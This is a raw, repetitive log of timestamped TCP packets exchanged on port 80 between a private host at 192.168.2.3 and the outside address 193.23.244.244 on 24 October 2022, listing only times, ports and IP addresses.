Oct 24, 2022 11:09:03.877085924 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.877085924 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.877131939 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.877132893 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.877177000 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.877177000 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.877227068 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.877230883 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.877273083 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.877283096 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.877324104 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.877326012 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.877372980 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.877399921 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.877439976 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.877453089 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.877475023 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.877491951 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.877507925 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.877522945 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.877540112 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.877549887 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.877573967 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.877580881 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.877607107 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.877616882 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.877640009 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.877650023 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.877672911 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.877705097 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.877727985 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.877737999 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.877739906 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.877767086 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.877774000 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.877804995 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.877808094 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.877835035 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.877840996 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.877856970 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.877873898 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.877878904 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.877907038 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.877913952 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.877938986 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.877942085 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.877971888 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.877983093 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.878006935 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.878009081 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.878040075 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.878050089 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.878072977 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.878077984 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.878108978 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.878123999 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.878140926 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.878154993 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.878174067 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.878177881 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.878206968 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.878212929 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.878240108 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.878262997 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.878273964 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.878278971 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.878307104 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.878317118 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.878341913 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.878346920 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.878376007 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.878381968 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.878407955 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.878436089 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.878442049 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.878463030 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.878474951 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.878484964 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.878509998 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.878516912 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.878545046 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.878550053 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.878577948 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.878587008 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.878612041 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.878644943 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.878664017 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.878678083 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.878710032 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.878710985 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.878730059 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.878756046 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.906164885 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.906208992 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.906233072 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.906238079 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.906266928 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.906266928 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.906294107 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.906299114 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.906306982 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.906327963 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.906358004 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.906383991 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.906384945 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.906411886 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.906435966 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.906439066 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.906456947 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.906470060 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.906487942 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.906493902 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.906507015 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.906522989 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.906531096 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.906550884 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.906575918 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.906578064 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.906608105 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.906615019 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.906627893 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.906635046 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.906652927 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.906662941 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.906672955 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.906689882 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.906703949 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.906718969 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.906745911 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.906774998 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.906801939 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.906829119 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.906838894 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.906855106 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.906892061 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.906897068 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.906927109 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.906933069 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.906954050 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.906965017 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.906982899 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.907011032 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.907037973 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.907051086 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.907064915 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.907080889 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.907094955 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.907119989 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.907146931 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.907161951 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.907172918 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.907198906 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.907206059 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.907227993 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.907243967 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.907255888 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.907284021 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.907310963 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.907330990 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.907339096 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.907366037 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.907371998 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.907392025 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.907418966 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.907443047 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.907445908 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.907469988 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.907486916 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.907515049 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.907541990 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.907541990 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.907571077 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.907610893 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.907618999 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.907645941 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.907670975 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.907691956 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.907697916 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.907721996 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.907727003 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.907752991 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.907773018 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.907778978 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.907807112 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.907834053 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.907856941 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.907860994 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.907882929 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.907887936 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.907915115 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.907928944 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.907942057 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.907967091 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.907993078 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.908008099 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.908016920 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.908039093 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.908046007 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.908071041 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.908098936 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.908113956 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.908124924 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.908147097 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.908150911 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.908178091 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.908200979 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.908216000 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.908229113 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.908252954 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.908257008 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.908284903 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.908313036 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.908324957 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.908339024 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.908354998 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.908368111 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.908395052 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.908421040 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.908433914 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.908446074 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.908462048 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.908473969 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.908502102 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.908524990 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.908544064 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.908550978 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.908576965 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.908580065 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.908607960 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.908626080 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.908634901 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.908660889 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.908688068 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.908698082 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.908715010 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.908735037 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.908741951 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.908768892 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.908797026 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.908807039 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.908823013 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.908843040 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.909140110 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.909230947 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.936381102 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.936422110 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.936449051 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.936475039 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.936487913 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.936502934 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.936533928 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.936542988 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.936563015 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.936590910 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.936599970 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.936619997 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.936626911 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.936649084 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.936676979 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.936676979 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.936703920 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.936729908 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.936754942 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.936758041 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.936786890 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.936796904 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.936817884 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.936841011 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.936867952 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.936882019 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.936896086 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.936914921 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.936923027 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.936950922 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.936973095 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.936979055 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.937007904 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.937022924 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.937036991 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.937058926 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.937079906 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.937108040 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.937135935 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.937136889 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.937165976 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.937190056 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.937208891 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.937235117 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.937247038 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.937263012 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.937289953 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.937311888 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.937339067 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.937347889 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.937365055 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.937395096 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.937401056 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.937422037 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.937449932 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.937478065 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.937488079 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.937505960 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.937517881 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.937536001 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.937562943 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.937586069 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.937589884 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.937617064 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.937644958 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.937648058 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.937668085 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.937695026 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.937705040 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.937724113 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.937726021 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.937752008 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.937782049 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.937783957 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.937803984 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.937829971 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.937850952 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.937856913 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.937879086 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.937905073 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.937910080 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.937946081 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.937967062 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.937978983 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.938004971 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.938007116 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.938033104 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.938060045 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.938070059 CEST	49701	80	192.168.2.3	193.23.244.244
